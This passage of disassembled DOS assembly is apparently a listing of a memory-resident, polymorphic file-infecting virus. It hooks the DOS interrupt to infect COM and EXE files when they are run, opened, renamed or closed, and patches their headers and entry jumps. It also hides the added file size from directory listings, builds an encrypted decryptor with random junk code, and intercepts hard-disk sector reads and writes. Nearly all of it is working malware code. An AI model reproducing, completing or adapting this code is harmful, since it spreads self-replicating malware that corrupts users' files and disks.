;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_13          proc    near
                mov     dx,2
                call    sub_9
                mov     byte ptr ds:[5AEh],0Eh
                or      dx,dx                   ; Zero ?
                jz      loc_61                  ; Jump if zero
                mov     byte ptr ds:[5AEh],16h
loc_61:
                mov     si,614h
loc_62:
                mov     dx,8
                call    sub_9
                cmp     dl,4
                je      loc_62                  ; Jump if equal
                mov     bl,dl
                call    sub_12
                mov     si,61Ah
loc_63:
                mov     dx,3
                call    sub_9
                add     dl,6
                cmp     dl,8
                jne     loc_64                  ; Jump if not equal
                mov     dl,3
loc_64:
                cmp     dl,bl
                je      loc_63                  ; Jump if equal
                call    sub_12
                xor     cx,cx                   ; Zero register
                mov     di,2Ah
loc_65:
                cmp     cx,9
                jne     loc_67                  ; Jump if not equal
loc_66:
                mov     dx,0C8h
                call    sub_9
                sub     dx,64h
                add     dx,ds:data_31e
                cmp     dx,0
                jl      loc_66                  ; Jump if <
                cmp     dx,data_76
                jge     loc_66                  ; Jump if > or =
                jmp     short loc_68
loc_67:
                mov     dx,45Ah
                call    sub_9
loc_68:
                jcxz    loc_71                  ; Jump if cx=0
                mov     si,data_30e
                push    cx

locloop_69:
                lodsw                           ; String [si] to ax
                sub     ax,dx
                cmp     ax,0Ah
                jge     loc_70                  ; Jump if > or =
                cmp     ax,0FFF6h
                jle     loc_70                  ; Jump if < or =
                pop     cx
                jmp     short loc_65
loc_70:
                loop    locloop_69              ; Loop if cx > 0

                pop     cx
loc_71:
                xchg    dx,ax
                stosw                           ; Store ax to es:[di]
                inc     cx
                cmp     cx,0Ah
                jb      loc_65                  ; Jump if below
                mov     bx,data_30e
                mov     si,5ABh
loc_72:
                mov     di,0F3Bh
                lodsb                           ; String [si] to al
                mov     cl,al
                mov     dx,8
                sub     dx,cx
                mov     ax,[bx+2]
                sub     ax,[bx]
                cmp     ax,0Ah
                jne     loc_73                  ; Jump if not equal
                inc     dx
                inc     dx
                call    sub_11
                inc     bx
                inc     bx
                jmp     short loc_75
loc_73:
                call    sub_9
                call    sub_11
                mov     dx,di
                sub     dx,0F38h
                add     dx,[bx]
                mov     al,0E9h
                stosb                           ; Store al to es:[di]
                inc     bx
                inc     bx
                mov     ax,[bx]
                sub     ax,dx
                cmp     ax,7Eh
                jg      loc_74                  ; Jump if >
                cmp     ax,0FF7Fh
                jl      loc_74                  ; Jump if <
                inc     ax
                mov     byte ptr [di-1],0EBh
                stosb                           ; Store al to es:[di]
                jmp     short loc_75
loc_74:
                stosw                           ; Store ax to es:[di]
loc_75:
                push    bx
                push    cx
                mov     cx,0
                mov     dx,1E26h
                add     dx,[bx-2]
                adc     cx,0
                push    cx
                push    dx
                call    sub_21
                mov     cx,0Ah
                mov     dx,0A4h
                add     word ptr ds:[74Ah],cx
                call    sub_19
                pop     dx
                pop     cx
                jc      loc_76                  ; Jump if carry Set
                call    sub_21
                xchg    cx,di
                mov     dx,0F3Bh
                sub     cx,dx
;*              call    sub_18                  ;*
                db      0E8h, 6Bh, 01h          ;  Fixup - byte match
loc_76:
                pop     cx
                pop     bx
                jc      loc_ret_77              ; Jump if carry Set
;*              cmp     bx,3Eh
                db       81h,0FBh, 3Eh, 00h     ;  Fixup - byte match
                jnc     loc_ret_77              ; Jump if carry=0
                jmp     loc_72

loc_ret_77:
                retn
sub_13          endp

                                                ;* No entry point to code
                mov     cx,0DD8h
                xor     dx,dx                   ; Zero register
                call    sub_14
                mov     ah,40h                  ; '@'
                mov     bx,ds:data_107e
                pushf                           ; Push flags
                call    far ptr $-881h
                jc      loc_78                  ; Jump if carry Set
                cmp     ax,cx
loc_78:
                pushf                           ; Push flags
                call    sub_14
                popf                            ; Pop flags
                retn

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_14          proc    near
                push    cx
                mov     si,dx
                mov     ax,0
                mov     cx,0DD8h

locloop_79:
                xor     [si],ax
                add     ax,0
                inc     si
                loop    locloop_79              ; Loop if cx > 0

                pop     cx
                retn
sub_14          endp

                db      0B0h, 03h,0CFh

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_15          proc    near
                pushf                           ; Push flags
                call    dword ptr cs:data_105e
                retn
sub_15          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_16          proc    near
                push    cx
                push    dx
                shr     cl,1                    ; Shift w/zeros fill
                shr     cl,1                    ; Shift w/zeros fill
                and     dh,0C0h
                or      dh,cl
                mov     cl,4
                shr     dh,cl                   ; Shift w/zeros fill
                mov     dl,ch
                xchg    si,dx
                pop     dx
                pop     cx
                retn
sub_16          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_17          proc    near
                push    ax
                push    bx
                push    cx
                mov     al,0
                mov     bx,data_20e
loc_80:
                mov     cx,100h

locloop_81:
                xor     word ptr es:[bx],2B28h
                inc     bx
                inc     bx
                loop    locloop_81              ; Loop if cx > 0

                dec     al
                jnz     loc_80                  ; Jump if not zero
                pop     cx
                pop     bx
                pop     ax
                retn
sub_17          endp

                                                ;* No entry point to code
                cmp     ah,2
                je      loc_82                  ; Jump if equal
                cmp     ah,3
                je      loc_82                  ; Jump if equal
                jmp     loc_97
loc_82:
                cmp     dx,80h
                jne     loc_91                  ; Jump if not equal
                test    cx,0FFC0h
                jnz     loc_91                  ; Jump if not zero
                push    bx
                push    dx
                push    si
                push    di
                push    cx
                push    cx
                mov     si,ax
                and     si,0FFh
                mov     di,si
                mov     al,1
                push    ax
                jz      loc_86                  ; Jump if zero
                jcxz    loc_90                  ; Jump if cx=0
                cmp     cl,1
                je      loc_88                  ; Jump if equal
loc_83:
                cmp     cl,11h
                ja      loc_90                  ; Jump if above
                cmp     cl,0Ah
                jb      loc_89                  ; Jump if below
                cmp     ah,3
                je      loc_90                  ; Jump if equal
                push    bx
                mov     cx,200h

locloop_84:
                mov     byte ptr es:[bx],0
                inc     bx
                loop    locloop_84              ; Loop if cx > 0

                pop     bx
loc_85:
                add     bx,200h
                pop     ax
                pop     cx
                inc     cx
                push    cx
                push    ax
                dec     si
                jnz     loc_83                  ; Jump if not zero
loc_86:
                clc                             ; Clear carry flag
loc_87:
                pop     ax
                pushf                           ; Push flags
                xchg    di,ax
                sub     ax,si
                popf                            ; Pop flags
                mov     ah,ch
                pop     cx
                pop     cx
                pop     di
                pop     si
                pop     dx
                pop     bx
                retf    2                       ; Return far
loc_88:
                mov     cl,byte ptr cs:[0E7Fh]
loc_89:
                call    sub_15
                mov     ch,ah
                jc      loc_87                  ; Jump if carry Set
                jmp     short loc_85
loc_90:
                stc                             ; Set carry flag
                mov     ch,0BBh
                jmp     short loc_87
loc_91:
                cmp     dl,80h
                jne     loc_97                  ; Jump if not equal
                push    ax
                push    cx
                push    dx
                push    si
                push    ds
                push    cs
                pop     ds
                mov     byte ptr ds:[0E2Dh],0
                mov     word ptr ds:[0E2Fh],bx
                call    sub_16
                and     cl,3Fh                  ; '?'
                and     dh,3Fh                  ; '?'
loc_92:
                or      al,al                   ; Zero ?
                jz      loc_95                  ; Jump if zero
                cmp     si,332h
                jae     loc_95                  ; Jump if above or =
                cmp     si,1234h
                jb      loc_93                  ; Jump if below
                inc     byte ptr ds:[0E2Dh]
                jmp     short loc_94
loc_93:
                add     word ptr ds:[0E2Fh],200h
loc_94:
                dec     al
                inc     cl
                cmp     cl,11h
                jbe     loc_92                  ; Jump if below or =
                mov     cl,1
                inc     dh
                cmp     dh,5
                jbe     loc_92                  ; Jump if below or =
                xor     dh,dh                   ; Zero register
                inc     si
                jmp     short loc_92
loc_95:
                cmp     byte ptr ds:[0E2Dh],0
                pop     ds
                pop     si
                pop     dx
                pop     cx
                pop     ax
                jz      loc_97                  ; Jump if zero
                cmp     ah,2
                je      loc_96                  ; Jump if equal
                call    sub_17
loc_96:
                call    sub_15
                pushf                           ; Push flags
                call    sub_17
                popf                            ; Pop flags
                retf    2                       ; Return far
loc_97:
;*              jmp     far ptr loc_3           ;*
                db      0EAh
                dw      40B4h, 2EBh             ;  Fixup - byte match

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_19          proc    near
                mov     ah,3Fh                  ; '?'
                call    sub_24
                jc      loc_ret_98              ; Jump if carry Set
                cmp     ax,cx

loc_ret_98:
                retn
sub_19          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_20          proc    near
                xor     cx,cx                   ; Zero register
                mov     dx,cx

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_21:
                mov     ax,4200h
                jmp     short loc_99

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_22:
                xor     cx,cx                   ; Zero register
                mov     dx,cx

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_23:
                mov     ax,4202h

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_24:
loc_99:
                mov     bx,cs:data_107e

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_25:
                pushf                           ; Push flags
                cli                             ; Disable interrupts
                call    dword ptr cs:[0DE8h]
                retn
sub_20          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_26          proc    near
                mov     bp,sp
                mov     ax,5700h
                call    sub_24
                mov     bx,data_111e
                mov     [bx],cx
                mov     [bx+2],dx
                call    sub_31
                jc      loc_102                 ; Jump if carry Set
                mov     dx,1Eh
                call    sub_9
                or      dx,dx                   ; Zero ?
                jz      loc_100                 ; Jump if zero
                mov     [bx],ax
loc_100:
                mov     word ptr ds:[74Ah],40h
                mov     dx,0FFFFh
                push    dx
                call    sub_9
                mov     word ptr ds:[5B7h],dx
                mov     word ptr ds:[0DFAh],dx
                pop     dx
                call    sub_9
                mov     word ptr ds:[5BFh],dx
                mov     word ptr ds:[0E02h],dx
                call    sub_20
                mov     cx,1Ah
                mov     dx,0F45h
                push    dx
                call    sub_19
                jc      loc_104                 ; Jump if carry Set
                xchg    si,dx
                mov     di,data_23e
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                call    sub_22
                mov     si,ax
                mov     di,dx
                pop     bx
                cmp     word ptr [bx],4D5Ah
                je      loc_101                 ; Jump if equal
                cmp     word ptr [bx],5A4Dh
                je      loc_101                 ; Jump if equal
                mov     byte ptr ds:data_27e,0
                cmp     ax,0EFA6h
                cmc                             ; Complement carry
                jc      loc_104                 ; Jump if carry Set
                mov     ax,3
                cwd                             ; Word to double word
                push    bx
                jmp     short loc_103
loc_101:
                mov     byte ptr ds:data_27e,1
                mov     ax,[bx+4]
                mul     word ptr ds:data_42e    ; ax = data * ax
                sub     ax,si
                sbb     dx,di
loc_102:
                jc      loc_104                 ; Jump if carry Set
                mov     ax,[bx+8]
                mul     word ptr ds:data_40e    ; ax = data * ax
                push    bx
                push    ax
                push    dx
loc_103:
                sub     si,ax
                sbb     di,dx
                or      di,di                   ; Zero ?
                jnz     loc_105                 ; Jump if not zero
                mov     dx,si
                sub     dx,3E8h
loc_104:
                jc      loc_110                 ; Jump if carry Set
                cmp     dx,7D0h
                jbe     loc_106                 ; Jump if below or =
loc_105:
                mov     dx,7D0h
loc_106:
                call    sub_9
                add     dx,3E8h
                mov     word ptr ds:[5B3h],dx
                add     dx,1058h
                cmp     byte ptr ds:data_27e,0
                je      loc_107                 ; Jump if equal
                mov     ds:data_108e,dx
loc_107:
                add     dx,0FD80h
                mov     word ptr ds:[5C6h],dx
                add     dx,0F577h
                mov     ds:data_33e,dx
                add     dx,0FCA8h
                mov     data_76,dx
                add     dx,8
                not     dx
                mov     cx,0FFFFh
                call    sub_23
                mov     word ptr ds:[736h],dx
                mov     word ptr ds:[739h],ax
                cmp     byte ptr ds:data_27e,0
                jne     loc_108                 ; Jump if not equal
                xchg    dx,ax
                add     dx,100h
                jmp     short loc_109
loc_108:
                pop     di
                pop     si
                sub     ax,si
                sbb     dx,di
                div     word ptr ds:data_40e    ; ax,dxrem=dx:ax/data
loc_109:
                add     word ptr ds:[5B3h],dx
                add     word ptr ds:[5C6h],dx
                push    ax
                push    dx
                call    sub_13
loc_110:
                jc      loc_115                 ; Jump if carry Set
                pop     dx
                pop     ax
                mov     cx,0Ah
                mov     si,data_30e

locloop_111:
                add     [si],dx
                inc     si
                inc     si
                loop    locloop_111             ; Loop if cx > 0

                pop     bx
                cmp     byte ptr ds:data_27e,0
                jne     loc_112                 ; Jump if not equal
                mov     byte ptr [bx],0E9h
                mov     ax,ds:data_30e
                sub     ax,103h
                mov     [bx+1],ax
                mov     word ptr ds:data_25e,0
                mov     word ptr ds:data_29e,0FFF0h
                mov     word ptr ds:data_28e,100h
                jmp     short loc_114
loc_112:
                mov     [bx+16h],ax
                mov     [bx+0Eh],ax
                mov     ax,ds:data_30e
                mov     [bx+14h],ax
                add     [bx+10h],dx
                mov     word ptr [bx+6],0
                mov     ax,28h
                cmp     [bx+0Ah],ax
                jae     loc_113                 ; Jump if above or =
                mov     [bx+0Ah],ax
loc_113:
                cmp     [bx+0Ch],ax
                jae     loc_114                 ; Jump if above or =
                mov     [bx+0Ch],ax
loc_114:
                push    bx
                call    sub_22
                call    sub_34
loc_115:
                jc      loc_117                 ; Jump if carry Set
                call    sub_22
                div     word ptr ds:data_42e    ; ax,dxrem=dx:ax/data
                inc     ax
                pop     bx
                cmp     byte ptr ds:data_27e,0
                je      loc_116                 ; Jump if equal
                mov     [bx+4],ax
                mov     [bx+2],dx
loc_116:
                push    bx
                call    sub_20
                mov     cx,1Ah
                pop     dx
;*              call    sub_18                  ;*
                db      0E8h, 30h,0FEh          ;  Fixup - byte match
                jc      loc_117                 ; Jump if carry Set
                mov     ax,5701h
                mov     cx,ds:data_111e
                mov     dx,ds:data_112e
                call    sub_24
loc_117:
                mov     sp,bp
                retn
sub_26          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_27          proc    near
                push    dx
                push    ds
                push    cs
                pop     ds
                mov     ax,3524h
                call    sub_25
                mov     word ptr ds:data_109e+2,es
                mov     ds:data_109e,bx
                mov     ax,2524h
                mov     dx,0E09h
                call    sub_25
                pop     ds
                pop     dx
                retn
sub_27          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_28          proc    near
                mov     ax,2524h
                lds     dx,dword ptr cs:data_109e       ; Load 32 bit ptr
                call    sub_25
                retn
sub_28          endp

                                                ;* No entry point to code
                add     al,2Eh                  ; '.'
                inc     bx
                dec     di
                dec     bp
                add     al,2Eh                  ; '.'
                inc     bp
                pop     ax
                inc     bp
                add     al,53h                  ; 'S'
                inc     bx
                inc     cx
                dec     si
                add     ax,4C43h
                inc     bp
                inc     cx
                dec     si
                or      [bp+49h],al
                dec     si
                inc     sp
                push    si
                dec     cx
                push    dx
                push    bp
                add     ax,5547h
                inc     cx
                push    dx
                inc     sp
                add     cx,[bp+4Fh]
                inc     sp
                add     ax,5356h
                inc     cx
                inc     si
                inc     bp
                add     al,4Dh                  ; 'M'
                push    bx
                inc     cx
                push    si
                push    es
                inc     bx
                dec     ax
                dec     bx
                inc     sp
                push    bx
                dec     bx

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_29          proc    near
                push    dx
                push    bx
                push    cx
                push    si
                push    di
                push    ds
                push    es
                push    ax
                mov     si,dx
                mov     di,data_114e
                push    cs
                pop     es
                lea     bx,[di-1]               ; Load effective addr
                mov     cx,4Bh

locloop_118:
                lodsb                           ; String [si] to al
                cmp     al,61h                  ; 'a'
                jb      loc_119                 ; Jump if below
                cmp     al,7Ah                  ; 'z'
                ja      loc_119                 ; Jump if above
                sub     al,20h                  ; ' '
loc_119:
                push    ax
                push    si
loc_120:
                cmp     al,20h                  ; ' '
                jne     loc_121                 ; Jump if not equal
                lodsb                           ; String [si] to al
                or      al,al                   ; Zero ?
                jnz     loc_120                 ; Jump if not zero
                pop     si
                pop     si
                jmp     short loc_123
loc_121:
                pop     si
                pop     ax
                cmp     al,5Ch                  ; '\'
                je      loc_122                 ; Jump if equal
                cmp     al,2Fh                  ; '/'
                je      loc_122                 ; Jump if equal
                cmp     al,3Ah                  ; ':'
                jne     loc_123                 ; Jump if not equal
loc_122:
                mov     bx,di
loc_123:
                stosb                           ; Store al to es:[di]
                or      al,al                   ; Zero ?
                jz      loc_124                 ; Jump if zero
                loop    locloop_118             ; Loop if cx > 0

loc_124:
                mov     si,0ADCh
                sub     di,5
                push    cs
                pop     ds
                call    sub_30
                jz      loc_125                 ; Jump if zero
                call    sub_30
                jnz     loc_129                 ; Jump if not zero
loc_125:
                pop     ax
                push    ax
                xchg    di,bx
                inc     di
                cmp     ax,4B00h
                jne     loc_126                 ; Jump if not equal
                mov     si,0B0Fh
                call    sub_30
                jnz     loc_126                 ; Jump if not zero
                mov     byte ptr ds:[0C6Ah],2Dh ; '-'
loc_126:
                mov     cx,7
                mov     si,0AE6h

locloop_127:
                push    cx
                call    sub_30
                pop     cx
                jz      loc_129                 ; Jump if zero
                loop    locloop_127             ; Loop if cx > 0

                mov     si,data_114e
                xor     bl,bl                   ; Zero register
                lodsw                           ; String [si] to ax
                cmp     ah,3Ah                  ; ':'
                jne     loc_128                 ; Jump if not equal
                sub     al,40h                  ; '@'
                mov     bl,al
loc_128:
                mov     ax,4408h
                call    sub_25
                or      ax,ax                   ; Zero ?
                jz      loc_131                 ; Jump if zero
                mov     ax,4409h
                call    sub_25
                jc      loc_129                 ; Jump if carry Set
                test    dh,10h
                jnz     loc_131                 ; Jump if not zero
loc_129:
                stc                             ; Set carry flag
loc_130:
                pop     ax
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     cx
                pop     bx
                pop     dx
                retn
loc_131:
                clc                             ; Clear carry flag
                jmp     short loc_130
sub_29          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_30          proc    near
                push    di
                lodsb                           ; String [si] to al
                mov     cl,al
                mov     ax,si
                add     ax,cx
                repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
                mov     si,ax
                pop     di
                retn
sub_30          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_31          proc    near
                push    dx
                mov     ax,es:[bx+2]
                xor     dx,dx                   ; Zero register
                div     word ptr cs:data_41e    ; ax,dxrem=dx:ax/data
                mov     ax,es:[bx]
                and     al,1Fh
                cmp     al,dl
                stc                             ; Set carry flag
                jz      loc_132                 ; Jump if zero
                mov     ax,es:[bx]
                and     ax,0FFE0h
                or      al,dl
                clc                             ; Clear carry flag
loc_132:
                pop     dx
                retn
sub_31          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_32          proc    near
                sub     word ptr es:[bx],0DD8h
                sbb     word ptr es:[bx+2],0
                jnc     loc_ret_133             ; Jump if carry=0
                add     word ptr es:[bx],0DD8h
                adc     word ptr es:[bx+2],0

loc_ret_133:
                retn
sub_32          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_33          proc    near
                push    ax
                push    bx
                push    cx
                push    si
                push    di
                push    bp
                push    ds
                push    es
                call    sub_27
                mov     ax,4300h
                call    sub_25
                mov     word ptr cs:[0C4Ch],cx
                mov     ax,4301h
                xor     cx,cx                   ; Zero register
                call    sub_25
                jc      loc_135                 ; Jump if carry Set
                mov     ax,3D02h
                call    sub_25
                jc      loc_134                 ; Jump if carry Set
                push    dx
                push    ds
                push    cs
                pop     ds
                push    cs
                pop     es
                mov     ds:data_107e,ax
                call    sub_26
                mov     ah,3Eh                  ; '>'
                call    sub_24
                pop     ds
                pop     dx
loc_134:
                mov     ax,4301h
                mov     cx,20h
                call    sub_25
loc_135:
                call    sub_28
                pop     es
                pop     ds
                pop     bp
                pop     di
                pop     si
                pop     cx
                pop     bx
                pop     ax
                retn
sub_33          endp

                                                ;* No entry point to code
                pushf                           ; Push flags
                sti                             ; Enable interrupts
                cmp     ah,11h
                je      loc_136                 ; Jump if equal
                cmp     ah,12h
                jne     loc_139                 ; Jump if not equal
loc_136:
                jmp     short $+2               ; delay for I/O
                push    bx
                push    es
                push    ax
                mov     ah,2Fh                  ; '/'
                call    sub_25
                pop     ax
                call    sub_25
                cmp     al,0FFh
                je      loc_138                 ; Jump if equal
                push    ax
                cmp     byte ptr es:[bx],0FFh
                jne     loc_137                 ; Jump if not equal
                add     bx,7
loc_137:
                add     bx,17h
                call    sub_31
                pop     ax
                jnc     loc_138                 ; Jump if carry=0
                add     bx,6
                call    sub_32
loc_138:
                pop     es
                pop     bx
                popf                            ; Pop flags
                iret                            ; Interrupt return
loc_139:
                cmp     ah,4Eh                  ; 'N'
                je      loc_140                 ; Jump if equal
                cmp     ah,4Fh                  ; 'O'
                jne     loc_143                 ; Jump if not equal
loc_140:
                push    bx
                push    es
                push    ax
                mov     ah,2Fh                  ; '/'
                call    sub_25
                pop     ax
                call    sub_25
                jc      loc_142                 ; Jump if carry Set
                push    ax
                add     bx,16h
                call    sub_31
                pop     ax
                jnc     loc_141                 ; Jump if carry=0
                add     bx,4
                call    sub_32
loc_141:
                pop     es
                pop     bx
                popf                            ; Pop flags
                clc                             ; Clear carry flag
                retf    2                       ; Return far
loc_142:
                pop     es
                pop     bx
                popf                            ; Pop flags
                stc                             ; Set carry flag
                retf    2                       ; Return far
loc_143:
                cmp     ax,4B53h
                jne     loc_144                 ; Jump if not equal
                mov     ax,454Bh
                popf                            ; Pop flags
                iret                            ; Interrupt return
loc_144:
                cmp     ah,4Ch                  ; 'L'
                jne     loc_145                 ; Jump if not equal
                mov     byte ptr cs:[0C6Ah],0
loc_145:
                cld                             ; Clear direction
                push    dx
                cmp     ax,4B00h
                jne     loc_149                 ; Jump if not equal
                jmp     short loc_148
                                                ;* No entry point to code
                push    ax
                push    bx
                push    ds
                push    es
                mov     ah,52h                  ; 'R'
                call    sub_25
                mov     ax,es:[bx-2]
loc_146:
                mov     ds,ax
                add     ax,ds:data_19e
                inc     ax
                cmp     byte ptr ds:data_18e,5Ah        ; 'Z'
                jne     loc_146                 ; Jump if not equal
                mov     bx,cs
                cmp     ax,bx
                jne     loc_147                 ; Jump if not equal
                mov     byte ptr ds:data_18e,4Dh        ; 'M'
                xor     ax,ax                   ; Zero register
                mov     ds,ax
                add     word ptr ds:main_ram_size_,4
loc_147:
                mov     byte ptr cs:[0CEBh],39h ; '9'
                pop     es
                pop     ds
                pop     bx
                pop     ax
loc_148:
                jmp     short loc_153
loc_149:
                cmp     ah,3Dh                  ; '='
                je      loc_153                 ; Jump if equal
                cmp     ah,56h                  ; 'V'
                je      loc_153                 ; Jump if equal
                cmp     ax,6C00h
                jne     loc_150                 ; Jump if not equal
                test    dl,12h
                mov     dx,si
                jz      loc_153                 ; Jump if zero
                jmp     short loc_154
loc_150:
                cmp     ah,3Ch                  ; '<'
                je      loc_154                 ; Jump if equal
                cmp     ah,5Bh                  ; '['
                je      loc_154                 ; Jump if equal
                cmp     ah,3Eh                  ; '>'
                jne     loc_152                 ; Jump if not equal
                cmp     bx,cs:data_113e
                jne     loc_152                 ; Jump if not equal
                or      bx,bx                   ; Zero ?
                jz      loc_152                 ; Jump if zero
                call    sub_25
                jc      loc_155                 ; Jump if carry Set
                push    ds
                push    cs
                pop     ds
                mov     dx,0F69h
                call    sub_33
                mov     word ptr ds:data_113e,0
                pop     ds
loc_151:
                pop     dx
                popf                            ; Pop flags
                clc                             ; Clear carry flag
                retf    2                       ; Return far
loc_152:
                pop     dx
                popf                            ; Pop flags
                jmp     dword ptr cs:[0DE8h]
loc_153:
                call    sub_29
